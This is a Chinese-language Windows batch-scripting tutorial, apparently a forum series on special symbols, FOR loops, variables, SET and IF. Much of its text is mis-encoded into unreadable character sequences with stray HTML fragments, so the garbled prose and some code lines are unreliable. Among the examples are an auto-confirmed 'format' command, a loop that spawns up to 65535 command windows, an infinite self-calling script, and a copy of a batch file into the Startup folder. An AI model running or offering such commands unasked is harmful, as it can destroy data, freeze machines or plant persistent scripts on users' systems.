(3)IF [NOT] EXIST filename command
发现特定的文件做出判?
echo off
IF not EXIST autoexe c.bat goto 1
echo 文g存在成功Q?br />
goto exit
:1
echo 文g不存在失败!
goto exit
:exit
q个批处理大家可以放在C盘和D盘分别执行,看看效果
ҎW号:
1. @
2. >
3. >>
4. |
5. ^
6. &
7. &&
8. ""
9. ,
10. ;
废话说Q开讲了
一?@
q个字符在批处理中的意思是关闭当前行的回显。我们从前几评?br />
ECHO OFF可以关闭掉整个批处理命o的回显,但不能关掉ECHO OFFq个命oQ现在我们在ECHO OFFq个命o前加个@Q就可以辑ֈ所
有命令均不回昄要求
1.bat
echo off
dir d:"
2.bat
@echo off
dir d:"
二?>
q个字符的意思是传递ƈ且覆盖,他所L作用是将q行的回昄果传递到后面的范_后边可以是文Ӟ也可以是默认的系l控
制台Q?br />
比如Q?br />
文g1.txt 的文件内ҎQ?br />
1+1
使用命oQdir *.txt >1.txt
q时?.txt 内容如下
驱动?C 中的h有标{?br />
L序列h 3827-1BDD
C:" 的目?br />
2004-05-25 00:57 17,755,907 Log.txt
2004-05-26 15:21 3 1.txt
2004-05-26 15:21 0 2.txt
3 个文?nbsp; 17,755,910 字节
0 个目?nbsp; 339,111,936 可用字节
三?amp;gt;>
q个W号的作用和>有点cMQ但他们的区别是>>是传递ƈ在文件的末尾q加Q?amp;gt;是覆?br />
用法同上
同样?.txt做例?br />
内容?+1
使用命oQdir *.txt >>1.txt
׃来看看显C的l果如何
四、|
q是一个管道传输命令,意思是上一命o执行的结果传C一个命令去处理
例如Q?br />
dir c:"|find "txt"
以上命o是:查找CQ?所有,q发现TXT字符丌Ӏ?br />
FIND的功能请?FIND /? 自行查看
在不使format的自动格式化参数Ӟ我是q样来自动格式化A盘的
echo y|format a: /s /q /v:system
用过format的都知道Q再格盘时要输入y来确认是否格盘,q个命o前加上echo yq用|字符来将echo y的结果传lformat命o
从而达到自动输入y的目?br />
Q这条命令有危害性,试时请慎重Q?br />
五、^
^是对ҎW号"<",">","&"的前导字W,在命令中他将以上3个符LҎ功能LQ仅仅只把他们当成符可不使用他们的特D意
义?br />
比如
echo test ^>1.txt
l果则是
他没有追加在1.txt里,呵呵。只是显CZ出来
六?&
q个W号允许在一行中使用2个以上不同的命oQ当W一个命令执行失败了Q也不媄响后边的命o执行?br />
比如Q?br />
dir z:" & dir y:" & dir c:"
以上命o会连l显Cz,y,c盘的内容Q不理会该盘是否存在
七?&&
q个命o和上边的cMQ但区别是,W一个命令失败时Q后边的命o也不会执?br />
dir z:" && dir y:" && dir c:"
八?"
双引号允许在字符串中包含I格Q进入一个特D目录可以用如下Ҏ
cd "program files"
cd progra~1
cd pro*
以上三种Ҏ都可以进入program filesq个目录
九?
逗号相当于空|在某些情况下“,”可以用来当做I格?br />
比如
dir,c:"
十、;
分号Q当命o相同Ӟ可以不同目标用Q来隔离Q但执行效果不变Q如执行q程中发生错误,则只q回错误报告Q但E序q是?br />
执行?br />
比如Q?br />
dir c:";d:"e:";f:"
以上命o相当?br />
dir c:"
dir d:"
dir e:"
dir f:"
pq些?各位有什?span onclick="tagshow(event)" class="t_tag">意见请回?有什么疑问请到BAT交流 区发?下一节改q?
W二?for命o详解)
看了看第一节的东西,发现那些单的命o都有详细解释,实在想不Z么更好的东西来解释他?q接来一?FOR命o详解"在其中运用这些东西来解释?
讲FOR之前?咋先告诉各位新手朋友,如果你有什么命令不?直接在CMD下面输入:
name /? q样的格式来看系l给出的帮助文g,比如for /? ׃把FOR命o的帮助全部显C出?当然许多菜鸟同志都看不懂....所以才会有那么多批处理文章!!!!Z照顾菜鸟,把FOR命o用我自己的方式说明下!
正式开?
FORq条命o基本上都被用来处理文?我们q次除了要说他处理文本的作用外还要讲他的其他一些好用的功能!
看看他的基本格式(q里我引用的是批处理中的格式,直接在命令行只需要一??
FOR 参数 %%变量?IN (相关文g或命? DO 执行的命?br />
参数:FOR?个参?/d /l /r /f 他们的作用我在下面用例子解释
%%变量?:q个变量名可以是写a-z或者大写A-Z,他们区分大小写哦~
FOR会把每个d到的值给?
IN:命o的格?照写是?
(相关文g或命? :FOR要把什么东西读取然后赋值给变量,不懂的话看下面的例子
do:命o的格?照写是?
执行的命?Ҏ个变量的D执行什么操作就写在q?
看不懂我的这些说?可以在CMD输入for /?看系l提供的帮助!我这里也l出来吧,大家对照
FOR %%variable IN (set) DO command [command-parameters]
%%variable 指定一个单一字母可替换的参数?br />
(set) 指定一个或一l文件。可以用通配W?br />
command 指定Ҏ个文件执行的命o?br />
command-parameters
为特定命令指定参数或命o行开兟?br />
现在开始讲每个参数的意?br />
/d
仅ؓ目录
如果 Set (也就是我上面写的 "相关文g或命?) 包含通配W(* ??Q,对?Set 相匹配的每个目录Q而不是指定目录中的文件组Q执行指定的 Command?br />
q个参数其实我也没弄太懂...有错误希望各位纠?
pȝ帮助的格?FOR /D %%variable IN (set) DO command
他主要用于目录搜?不会搜烦文g,看这L例子
@echo off
for /d %%i in (*) do @echo %%i
pause
把他保存攑֜C盘根目录执行,׃把C盘目录下的全部目录名字打印出?而文件名字一个也不显C?
在来一?比如我们要把当前路径下文件夹的名字只?-3个字母的打出?br />
@echo off
for /d %%i in (???) do @echo %%i
pause
q样的话如果你当前目录下有目录名字只?-3个字母的,׃昄出来,没有׃昄?br />
q里解释?号和?L作用,*可CZQ意N个字W??号只表示L一个字W?br />
知道作用?l大家个思考题?
@echo off
for /d %%i in (window?) do @echo %%i
pause
保存到C盘下执行,会显CZ么呢?自己看吧!
/D参数只能昄当前目录下的目录名字,q个大家要注?
/R
递归
q入根目录树 [Drive:]PathQ在树的每个目录中执?for 语句。如果在 /R 后没有指定目录,则认为是当前目录。如?Set 只是一个句?(.)Q则只枚丄录树?br />
pȝ帮助的格?FOR /R [[drive:]path] %%variable IN (set) DO command
上面我们知道,/D只能昄当前路径下的目录名字,那么现在q个/R也是和目录有?他能q嘛?攑ֿ他比/D强大多了!
他可以把当前或者你指定路径下的文g名字全部d,注意是文件名?有什么用看例?
@echo off
for /r c:" %%i in (*.exe) do @echo %%i
pause
咋们把这个BAT保存到D盘随便哪里然后执?我会׃看到,他把C盘根目录,和每个目录的子目录下面全部的EXE文g都列出来?!!!
再来一?br />
@echo off
for /r %%i in (*.exe) do @echo %%i
pause
参数不一样了?q个命o前面没加那个C:"也就是搜索\?q样他就会以当前目录为搜索\?比如你这个BAT你把他防灾d:"test目录下执?那么他就会把D:"test目录和他下面的子目录的全部EXE文g列出?!!
q个参数大家因该理解了吧!q是满好玩的命o!
/L
q代数D?
使用q代变量讄起始?(Start#)Q然后逐步执行一l范围的|直到该Dq所讄的终止?(End#)?L 通过?Start# ?
End# q行比较来执行P代变量。如?Start# 于 End#Q就会执行该命o。如果P代变量超q?
End#Q则命o解释E序退出此循环。还可以使用负的 Step# 以递减数值的方式逐步执行此范围内的倹{例如,(1,1,5) 生成序列 1 2
3 4 5Q?(5,-1,1) 则生成序?(5 4 3 2 1)。语法是Q?
pȝ帮助的格?for /L %% Variable in (Start#,Step#,End#) do Command
看着q说明有Ҏ?咋们看例子就不晕?
@echo off
for /l %%i in (1,1,5) do @echo %%i
pause
保存执行看效?他会打印? 2 3 4 5 q样5个数?br />
(1,1,5)q个参数也就是表CZ1开始每ơ加1直到5l止!
大会?打C数字有P?..好的满大家,看这个例?br />
@echo off
for /l %%i in (1,1,5) do start cmd
pause
执行后是不是吓了一?怎么多了5个CMDH口,呵呵!如果把那?(1,1,5)Ҏ (1,1,65535)会有什么结?我先告诉大家,会打开65535个CMDH口....q么多你不死机算你强!
当然我们也可以把那个start cmdҎmd %%i q样׃建立指定个目录了!!!名字?-65535
看完q个被我赋予破坏性质的参数后,我们来看最后一个参?br />
/f
"q代及文件解?
使用文g解析来处理命令输出、字W串及文件内宏V用P代变量定义要查的内容或字W串Qƈ使用各种 ParsingKeywords
选项q一步修改解析方式。?ParsingKeywords 令牌选项指定哪些令牌应该作ؓq代变量传递。请注意Q在没有使用令牌选项Ӟ/F
只查第一个o牌?br />
文g解析q程包括d输出、字W串或文件内容,其分成独立的文本行以及再将每行解析成零个或更多个o牌。然后通过讄Zo牌的q代变量|调用 for 循环。默认情况下Q?F 传递每个文件每一行的W一个空白分隔符受蟩q空行?br />
pȝ帮助的格?
for /F "ParsingKeywords" %% Variable in (FileNameSet) do Command
有没有发现这个参数说明比上面几个都多...没办?Z用FOR命o主要也就是用/f参数,FOR的主场啊!大家得好好看!
先来解释下那个多出来?ParsingKeywords"
他表C?个参?br />
eol=c - 指一个行注释字符的结?׃?
skip=n - 指在文g开始时忽略的行数?br />
delims=xxx - 指分隔符集。这个替换了I格和蟩格键?br />
默认分隔W集?br />
tokens=x,y,m-n - 指每行的哪一个符可传递到每个q代
?for 本n。这会导致额外变量名U的分配。m-n
格式Z个范围。通过 nth W号指定 mth。如?br />
W号字符串中的最后一个字W星P
那么额外的变量将在最后一个符可析之?br />
分配q接受行的保留文本?br />
usebackq - 指定新语法已在下cL况中使用:
在作为命令执行一个后引号的字W串q且一个单
引号字符为文字字W串命oq允许在 filenameset
中用双引号扩v文g名称?br />
先别晕了!我这׃D个例子帮助大家来理解q些参数!
usebackqq个参数不用理解?pȝ默认会给我们加上!
Z能用这个例?我们先新Z个文本文?在里面打上这些内容保存ؓtest.txt:
;郁闷?
您好! Ƣ迎来到, 非常批处?br />
我们的网?bbs.verybat.cn
完毕!
@echo off
FOR /F "eol=; tokens=1 delims= " %%i in (test.txt) do @echo %%i
pause
我们把这个BAT保存到和你的test.txt相同的目录下面然后执?br />
我们会看到屏q上会显C?br />
您好!
我们的网?br />
完毕!
Z么会q样?我来解释
q个命o会读取在当前目录下名为test.txt文g中的内容,然后每一行的内容赋值给变量%%i,然后忽略掉以;号开头的?q且以空格做为分隔符?打印W每行以I各做分隔符LW一?br />
l果是q样?!
如果Ҏ
当然我们惌把全部文件内容直接打印出来就可以q样
@echo off
FOR /F "delims=" %%i in (test.txt) do @echo %%i
pause
另外/F参数q可以以输出命o的结果看q个例子
@echo off
FOR /F "delims=" %%i in ('net user') do @echo %%i
pause
q样你本机全部帐号名字就出来了把扩号内的内容用两个单引号引v来就表示那个当命令执?FOR会返回命令的每行l果,加那?delims=" 是ؓ了让我空格的行能整行昄出来,不加只昄I格左边一?
基本上讲完了FOR的基本用法了...如果你看qFOR的系l帮?你会发现他下面还有一些特定义的变?q些我先不讲.大家因该都篏了吧!你不累我累啊....
本节到此l?希望对各位有所帮助!
W三?FOR命o中的变量)
FOR命o中有一些变?他们的用法许多新手朋友还不太了解,今天l大家讲解他们的用法!
先把FOR的变量全部列出来:
~I - 删除M引号(")Q扩?%I
%~fI - ?%I 扩展C个完全合格的路径?br />
%~dI - 仅将 %I 扩展C个驱动器?br />
%~pI - 仅将 %I 扩展C个\?br />
%~nI - 仅将 %I 扩展C个文件名
%~xI - 仅将 %I 扩展C个文件扩展名
%~sI - 扩展的\径只含有短名
%~aI - ?%I 扩展到文件的文g属?br />
%~tI - ?%I 扩展到文件的日期/旉
%~zI - ?%I 扩展到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,q将 %I 扩展
到找到的W一个完全合格的名称。如果环境变量名
未被定义Q或者没有找到文Ӟ此组合键会扩展到
I字W串
我们可以看到每行都有一个大写字?I",q个I其实是我们在FOR带入的变?我们FOR语句代入的变量名是什?q里写什?
比如:FOR /F %%z IN ('set') DO @echo %%z
q里我们代入的变量名是z那么我们p把那个IҎz,例如%~fI改ؓ%~fz
至于前面?~pq样的内容就是语法了!
好开始讲?
~I - 删除M引号(")Q扩?%I
q个变量的作用就如他的说?删除引号!
我们来看q个例子:
首先我们在桌面徏立一个名字ؓtemp.txt文本文g,在里面输入这些内?br />
"1111
2222"
"3333"
44"44
然后在徏立个BAT文g代码如下:
FOR /F "delims=" %%i IN (temp.txt) DO @echo %%~i
pause
执行?我们看CMD的回昑֦?
1111
2222"
3333
44"44
和之前temp.txt中的内容Ҏ一?我们会发现第一行和W三行的引号都消׃,q就是删除引号~i的作用了!
删除引号规则如下(BAT兄补?)
1、若字符串首时存在引P则删除首引号Q?br />
2、若字符串尾不存在引P则删除字W串首的引号Q?br />
3、如果字W串中间存在引号Q或者只在尾部存在引P则不删除?br />
%~fI - ?%I 扩展C个完全合格的路径?br />
看例?
把代码保存放在随便哪个地?我这里就放桌面吧.
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~fi
pause
执行后显C内容如?br />
C:\Documents and Settings\Administrator\桌面\test.bat
C:\Documents and Settings\Administrator\桌面\test.vbs
当我把代码中?%%~fi直接Ҏ%%i
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%i
pause
执行后就会显C些内?br />
test.bat
test.vbs
通过Ҏ,我们很容易就看出没有路径?q就??%I 扩展C个完全合格的路径?的作?br />
也就是如?i变量的内Ҏ一个文件名的话,他就会把q个文g所在的l对路径打印出来,而不只单
单打C个文件名,自己动手动实验下q道了!
%~dI - 仅将 %I 扩展C个驱动器?br />
看例?
代码如下,我还是放到桌面执?
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~di
pause
执行后我CMD里显C如?br />
C:
C:
我桌面就两个文gtest.bat,test.vbs,%%~di作用?如果变量%%i的内Ҏ一个文件或者目录名,他就会把他这文g
或者目录所在的盘符h印出?
%~pI - 仅将 %I 扩展C个\?br />
q个用法和上面一?他只打印路径不打印文件名?br />
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~pi
pause
我就不打l果?大家自己复制代码看结果吧,下面几个都是q么个用?代码l出?大家自己看结果吧!
%~nI - 仅将 %I 扩展C个文件名
只打印文件名?br />
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~ni
pause
%~xI - 仅将 %I 扩展C个文件扩展名
只打印文件的扩展?br />
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~xi
pause
%~sI - 扩展的\径只含有短名
打印l对短文件名
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~si
pause
%~aI - ?%I 扩展到文件的文g属?br />
打印文g的属?br />
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~ai
pause
%~tI - ?%I 扩展到文件的日期/旉
打印文g建立的日?br />
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~ti
pause
%~zI - ?%I 扩展到文件的大小
打印文g的大?br />
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~zi
pause
%~$PATH:I - 查找列在路径环境变量的目录,q将 %I 扩展
到找到的W一个完全合格的名称。如果环境变量名
未被定义Q或者没有找到文Ӟ此组合键会扩展到
I字W串
q是最后一?和上面那些都不一?我单独说?
然后在把q些代码保存为批处理,攑֜桌面.
FOR /F "delims==" %%i IN ('net.exe') DO @echo %%~$PATH:i
pause
他的意思就在PATH变量里指定的路径里搜索net,exe文gQ如果有net.exe则会把他所在绝对\径打印出来,没有打C个错误!
好了,FOR的的变量׃l到q了!
BY 伤脑{?br />
W四?批处理中的变?
批处理中的变?我把他分Zc?分别?pȝ变量"?自定义变?
我们现在来详解这两个变量!
pȝ变量:
他们的值由pȝ其Ҏ事先定义的条件自动赋?也就是这些变量系l已l给他们定义了?
不需要我们来l他赋?我们只需要调用而以! 我把他们全部列出?
%ALLUSERSPROFILE% 本地 q回“所有用?#8221;配置文g的位|?
%APPDATA% 本地 q回默认情况下应用程序存储数据的位置?
%CD% 本地 q回当前目录字符丌Ӏ?
%CMDCMDLINE% 本地 q回用来启动当前?Cmd.exe 的准命令行?
%CMDEXTVERSION% pȝ q回当前?#8220;命o处理E序扩展”的版本号?
%COMPUTERNAME% pȝ q回计算机的名称?
%COMSPEC% pȝ q回命o行解释器可执行程序的准确路径?
%DATE% pȝ q回当前日期。用与 date /t 命o相同的格式。由 Cmd.exe 生成。有?
date 命o的详l信息,请参?Date?
%ERRORLEVEL% pȝ q回上一条命令的错误代码。通常用非零DC错误?
%HOMEDRIVE% pȝ q回q接到用户主目录的本地工作站驱动器号。基于主目录D设|。用
户主目录是在“本地用户和组”中指定的?
%HOMEPATH% pȝ q回用户ȝ录的完整路径。基于主目录D设|。用户主目录是在“?br />
地用户和l?#8221;中指定的?
%HOMESHARE% pȝ q回用户的共享主目录的网l\径。基于主目录D设|。用户主目录?br />
?#8220;本地用户和组”中指定的?
%LOGONSERVER% 本地 q回验证当前d会话的域控制器的名称?
%NUMBER_OF_PROCESSORS% pȝ 指定安装在计机上的处理器的数目?
%OS% pȝ q回操作pȝ名称。Windows 2000 昄其操作系lؓ Windows_NT?
%PATH% pȝ 指定可执行文件的搜烦路径?
%PATHEXT% pȝ q回操作pȝ认ؓ可执行的文g扩展名的列表?
%PROCESSOR_ARCHITECTURE% pȝ q回处理器的芯片体系l构。|x86 ?IA64 Z
Itanium
%PROCESSOR_IDENTFIER% pȝ q回处理器说明?
%PROCESSOR_LEVEL% pȝ q回计算Z安装的处理器的型受?
%PROCESSOR_REVISION% pȝ q回处理器的版本受?
%PROMPT% 本地 q回当前解释E序的命令提C符讄。由 Cmd.exe 生成?
%RANDOM% pȝ q回 0 ?32767 之间的Q意十q制数字。由 Cmd.exe 生成?
%SYSTEMDRIVE% pȝ q回包含 Windows server operating system 根目录(即系l根目录Q?br />
的驱动器?
%SYSTEMROOT% pȝ q回 Windows server operating system 根目录的位置?
%TEMP% ?%TMP% pȝ和用?q回对当前登录用户可用的应用E序所使用的默认时目录?br />
有些应用E序需?TEMPQ而其他应用程序则需?TMP?
%TIME% pȝ q回当前旉。用与 time /t 命o相同的格式。由 Cmd.exe 生成。有?
time 命o的详l信息,请参?Time?
%USERDOMAIN% 本地 q回包含用户帐户的域的名U?
%USERNAME% 本地 q回当前d的用L名称?
%USERPROFILE% 本地 q回当前用户的配|文件的位置?
%WINDIR% pȝ q回操作pȝ目录的位|?
q么多系l变?我们如何知道他的值是什么呢?
在CMD里输?nbsp; echo %WINDIR%
windir变量?不是随便p?
q样p昄一个变量的g!
举个实际例子,比如我们要复制文件到当前帐号的启动目录里可以这?br />
copy d:\1.bat "%USERPROFILE%\「开始」菜单\E序\启动\"
%USERNAME% 本地 q回当前d的用L名称?nbsp; 注意有空格的目录要用引号引v?br />
另外q有一些系l变?他们是代表一个意?或者一个操?
他们分别?0 %1 %2 %3 %4 %5 ......一直到%9 q有一?*
%0 q个有点Ҏ,有几层意?先讲%1-%9的意?
%1 q回批处理的W一个参?br />
%2 q回批处理的W二个参?br />
%3-%9依此推类
反回批处理参?到底怎么个返回法?
我们看这个例?把下面的代码保存为test.BAT然后攑ֈC盘下
@echo off
echo %1 %2 %3 %4
echo %1
echo %2
echo %3
echo %4
q入CMD,输入cd c:\
然后输入 test.bat 我是W一个参?我是W二个参?nbsp; 我是W三个参?nbsp; 我是W四个参?br />
注意中间的空?我们会看到这Ll果:
我是W一个参?我是W二个参?我是W三个参?我是W四个参?br />
我是W一个参?br />
我是W二个参?br />
我是W三个参?br />
我是W四个参?br />
Ҏ下代?%1是我是W一个参?%2是我是W二个参?br />
怎么L解了?
q些%1?9可以让批处理也能带参数运?大大提高批处理功?
q有一?* 他是什么呢?他的作用不是很大,只是q回参数而已,不过他是一ơ返回全部参?br />
的?不用在输?1 %2来确定一个个?br />
例子
@echo off
echo %*
同样保存为test.bat 攑ֈC?br />
q入CMD,输入cd c:\
然后输入 test.bat 我是W一个参?我是W二个参?nbsp; 我是W三个参?nbsp; 我是W四个参?br />
可以看到他一ơ把全部参数都显C出来了
好现在开始讲那个比较Ҏ?0
%0 q个不是q回参数的g,他有两层意?
W一层意?q回批处理所在绝对\?br />
例子:
@echo off
echo %0
pause
保存为test.BAT攑֜桌面q行,会显C如下结?br />
"C:\Documents and Settings\Administrator\桌面\test.bat"
他把当前批处理执行的所在\l打印出来了,q就是返回批处理所在绝对\径的意?br />
W二层意?无限循环执行BAT
例子:
@echo off
net user
%0
保存为BAT执行,他就会无限@环执行net userq条命o,直到你手动停?
以上是批处理中的一些系l变?另外q有一些变?他们也表CZ些功?
FOR命o中的那些是,FOR变量已经说过,׃讲了.
现在说自定义变量
故名思意,自定义变量就是由我们来给他赋予值的变量
要用自定义变量得使用set命o?看例?
@echo off
set var=我是?br />
echo %var%
pause
保存为BAT执行,我们会看到CMD里返回一?nbsp; "我是?
var为变量名,=号右变的是要l变量的?br />
q就是最单的一U设|变量的Ҏ?br />
如果我们惌用户手工输入变量的?而不是在代码里指?可以用用set命o?p参数
例子:
@echo off
set /p var=误入变量的?br />
echo %var%
pause
var变量?nbsp; =号右边的是提C,不是变量的?br />
变量的值由我们q行后自q键盘输入!
好了批处理的变量先介l到q?关于set命o,下次在写个专门的文章?
by 伤脑{?br />
W五?set命o详解)
很久没发贴了,今天来写点讲BAT的新手教学脓!
在上一贴中我简单的介绍了一下SET讄自定义变量的作用,现在我来具体讲一下set的其他功
?
先回一下他讄自定义变量的用法
例子:
@echo off
set var=我是?br />
echo %var%
pause
L set var=我是?,q就是BAT直接在批处理中设|变量的Ҏ!
set 是命?nbsp; var是变量名 =号右边的"我是?是变量的?br />
在批处理中我们要引用q个变就把var变量名用两个%(癑ֈ?扩v??var%
q种SET语法只能直接在BAT代码的提前赋予变量的?有时候我们需要提供一个交互界??br />
用户自己输入变量的?然后我们在来Ҏq个值来做相应操?现在我就来说说这SET的这
U语?只需要加一?/P"参数可以了!
例子:
@echo off
set /p var=误入变量的?
if %var% == 1 echo 您输入了 1 ~_~
pause
set /p 是命令语?nbsp; var是变量名 =号右边的"误入变量的? ",q个是提C,不是?br />
量的g!
q行?我们在提C后面直接输入1,׃昄一行您输入?1 ~_~ ,输入别的没有Q何反
?
好了,先回ֈq?现在讲SET其他功能
使用set /?查看SET的帮助我们发现SET除了我上面讲?br />
SET [variable=[string]]
SET /P variable=[promptString]
q两U语法外,q有如下几种语法:
SET /A expression
环境变量替换已如下增?
%PATH:str1=str2%
%PATH:~10,5%
%PATH:~-10%
%PATH:~0,-2%
q机U语法有什么用处呢?现在我们来一个个讲解他们!
SET /A expression
/A 命o行开x定等号右边的字符串ؓ被评估的数字表达式。该表达?br />
评估器很单ƈ以递减的优先权序支持下列操作:
() - 分组
! ~ - - 一元运符
* / % - 数q算W?br />
+ - - 数q算W?br />
<< >> - 逻辑UM
& - 按位“?#8221;
^ - 按位“?#8221;
| - 按位“?#8221;
= *= /= %= += -= - 赋?br />
&= ^= |= <<= >>=
, - 表达式分隔符
上面q些是系l帮助里的内?看着是不是有Ҏ,没关pL来简单解释一?
set?A参数是让SET可以支持数学W号q行加减{一些数学运?
现在开始D例子介绍q些数学W号的用?
看例?q里的例子请直接在CMD下拷贝命令运?不需要保存ؓBAT!
set /a var=1 + 1
set /a 语法, var变量?1 + 1 数学式子
拯q行后会直接昄一?,或者运行完后我们输入echo %var%,也是?q就?br />
一个简单的加法q算!
set /a var=2 - 1 l果是多呢?如果你看不到l果echo %var%.....
set /a var=2 * 2 乘法q算
set /a var=2 / 2 除法q算
set /a var=(1+1) + (1+1) l果{于4 看得懂吧!
set /a a=1+1,b=2+1,c=3+1 q行后会昄一?,但我们用
echo %a% %b% %c%后看l果,会发现其他数学运也有效?,q就??L
作用!
有时候我们需要直接在原变量进行加减操作就可以用这U语?br />
set /a var+=1 q样的语法对应原始语法就是set /a var = %var% + 1
都是一Ll果,在原变量的g在进行数学运?不过q样写简单一?br />
在来一?
set /a var*=2
其他都这么用,只要帮助里有q个语法!
另外q有一些用逻辑或取余操作符,q些W号,按照上面的用方法会报错?br />
比如我们在CMD里输入set /a var=1 & 1 "与运?,他ƈ不会昄?,而是报错,
Z?对于q样?逻辑或取余操作符",我们需要把他们用双引号引v?看例?br />
set /a var= 1 "&" 1 q样l果显C出来了,其他逻辑或取余操作符用法
set /a var= 1 "+" 1 异运?br />
set /a var= 1 "%" 1 取模q算
set /a var= 2 "<<" 2 ơ方q算
set /a var= 4 ">>" 2 q个不太记得数学里的叫法....
q有几个数学不太?搞不清楚?...不列出来?
q些W号也可以用&= ^= |= <<= >>= q样的简单用法如
set /a var"&=" 1 {于set /a var = %var% "&" 1 注意引号
好符可到这,现在?PATH:str1=str2%
q个是替换变量值的内容,看例?br />
@echo off
set a= bbs.verybat.cn
echo 替换前的? "%a%"
set var=%a: =%
echo 替换后的? "%var%"
pause
Ҏ一?我们发现他把变量%a%的空格给替换掉了,从这个例?我们可以发?br />
%PATH:str1=str2%q个操作是把变?PATH%的里的str1全部用str2替换
比如我们把上面的例子Ҏq样
@echo off
set a=bbs.verybat.cn
echo 替换前的? "%a%"
set var=%a:.=伤脑{?
echo 替换后的? "%var%"
pause
解释set var=%a:.=伤脑{?
set命o var变量?字a是要q行字符替换的变量的?"."替换的?
"伤脑{?为替换后的?
执行后就会把变量%a%里面?."全部替换?伤脑{?
q就是set的替换字W的很好的功?先讲到这
%PATH:~10,5% q个什么意?看例?
@echo off
set a=bbs.verybat.cn
set var=%a:~1,2%
echo %var%
pause
执行?我们会发现只昄?bs"两个字母,我们的变?a%的g是ؓbbs.verybat.cn?br />
怎么只显CZW?个字母和W?个字?bs",分析一l果我们可以很Ҏ看出
%PATH:~10,5%是昄变量PATH里指定几位的?
分析set var=%a:~1,2%
set命o var变量?nbsp; a要进行字W操作的变量 "1"从变?a"W几位开始显C?"2"昄几位
和v来就是把变量a的gW一位开?把后两位赋予l变量var
样因该明白了吧~
其他两种语法
%PATH:~-10%
%PATH:~0,-2%
他们也是昄指定变量指定几位的值得的意?br />
%PATH:~-10% 例子
@echo off
set a=bbs.verybat.cn
set var=%a:~-3%
echo %var%
pause
q个是把变量a倒数3位的值给变量VAR
当然我们也可以改成这?br />
@echo off
set a=bbs.verybat.cn
set var=%a:~3%
echo %var%
pause
q个是把变量a的从W?位开始后面全部的值给变量VAR
%PATH:~0,-2% 例子
@echo off
set a=bbs.verybat.cn
set var=%a:~0,-3%
echo %var%
pause
执行?我们发现昄的是"bbs.verybat",了".cn"
从结果分?很容易分析出,q是把变量a的g0位开?
到倒数W三位之间的值全部赋予给var
如果Ҏq样
@echo off
set a=bbs.verybat.cn
set var=%a:~2,-3%
echo %var%
pause
那么他就是显CZW?位开始减d数三位字符的?q赋予给变量var
好了set的一些用?׃l到q了,希望对各位有所帮助,旉不早睡觉Zz....
by 伤脑{?br />
if命o讲解
最q发现有些朋友一老问IF命o的用?IF命o个h觉得很简?所以就一直没把发攑ֈ新手教学贴里?现在我给补上一?希望对各?非常BAT?新手朋友们有所帮助.
现在开?
在CMD使用IF /?打开IF的系l帮?自己看我׃全部列出来了),我们会发现IF?U基本的用法!
IF [NOT] ERRORLEVEL number command
IF [NOT] string1==string2 command
IF [NOT] EXIST filename command
首先来讲W一U用?IF [NOT] ERRORLEVEL number command
q个用法的基本做用是判断上一条命令执行结果的代码,以决定下一个步?
一般上一条命令的执行l果代码只有两结?"成功"?表示 "p|"?表示.
举个例子:
@echo off
net user
IF %ERRORLEVEL% == 0 echo net user 执行成功?
pause
q是个简单判断上条命令是否执行成?
l心的朋友可能会发现,q个用法和帮助里的用法不太一?按照帮助里的写法"IF %ERRORLEVEL% == 0 echo net user 执行成功? "q一句代码因该写?IF ERRORLEVEL 0 echo net user 执行成功?
那ؓ什么我要写成这样呢?各位自己把代码改掉执行后,׃发现错误?用这U语?不管你的上面的命令是否执行成?他都会认为命令成功了,不知道是BUGq是本h理解错误...
%ERRORLEVEL% q是个系l变?q回上条命o的执行结果代? "成功"?表示 "p|"?表示. 当然q有其他参数,用的时候基本就q两数字.
在D几个例子l新手理?br />
@echo off
net usertest
IF %ERRORLEVEL% == 1 echo net user 执行p|?
pause
q个是判断上一条命令是否执行失败的
@echo off
set /p var=随便输入个命?
%var%
if %ERRORLEVEL% == 0 goto yes
goto no
:yes
echo !var! 执行成功?br />
pause
exit
:no
echo 基本上执行失败了..
pause
q个是根据你输入的命?自动判断是成功还是失败了!
在来一个简化版?br />
@echo off
set /p var=随便输入个命?
%var%
if %ERRORLEVEL% == 0 (echo %var%执行成功? ELSE echo %var%执行p|?
pause
else后面写上执行p|后的操作!
当然我门q可以把if elseq样的语句分成几行写出来,使他看上d看点...
@echo off
set /p var=随便输入个命?
%var%
if %ERRORLEVEL% == 0 (
echo !var! 执行成功?br />
) ELSE (
echo 基本上执行失败了..
)
pause
q里介绍的两U简写对IF的三U语法都可以套用,不单单是在IF [NOT] ERRORLEVEL number command
q种法上才能?br />
现在来说W二U用法IF [NOT] string1==string2 command
q个呢就是用来比较变量或者字W的值是不是相等?
例子
@echo off
set /p var=误入第一个比较字W?
set /p var2=误入第二个比较字符:
if %var% == %var2% (echo 我们相等) ELSE echo 我们不相{?br />
pause
上面q个例子可以判断你输入的值是不是相等,但是你如果输入相同的字符,但是如果其中一个后面打了一个空?
q个例子q是会认为相{?如何让有I格的输入不相等?我们在比较字W上加个双引号就可以?
@echo off
set /p var=误入第一个比较字W?
set /p var2=误入第二个比较字符(多输入个I格试试):
if "%var%" == "%var2%" (echo 我们相等) ELSE echo 我们不相{?br />
pause
W三U用法IF [NOT] EXIST filename command
q个是判断某个文g或者文件夹是否存在的语?br />
例子
@echo off
if exist "c:"test" (echo 存在文g) ELSE echo 不存在文?br />
pause
判断的文件\径加引号是ؓ了防止\径有I格,如果路径有空格加个双引号׃会出现判断出错了!
q个语法没什么太多的用法,基本p样了,׃多介l了.
另外我们看到每条IF用法后都有个[NOT]语句,q啥意?其他加上他的?pC先判断我们的条件不成立?
没加他默认是先判断条件成立时,比如上面q个例子
@echo off
if not exist "c:"test" (echo 存在文g) ELSE echo 不存在文?br />
pause
加个NOT,执行后有什么结?如果你的C盘下更本没c:"test,他还是会昄"存在文g",q就表示了加了NOT?br />
会先判断条gp|!懂了?上面例子Ҏq样正了!
@echo off
if not exist "c:"test" (echo 不存在文? ELSE echo 存在文g
pause
另外IFq有一些增强的用法,如下
IF [/I] string1 compare-op string2 command
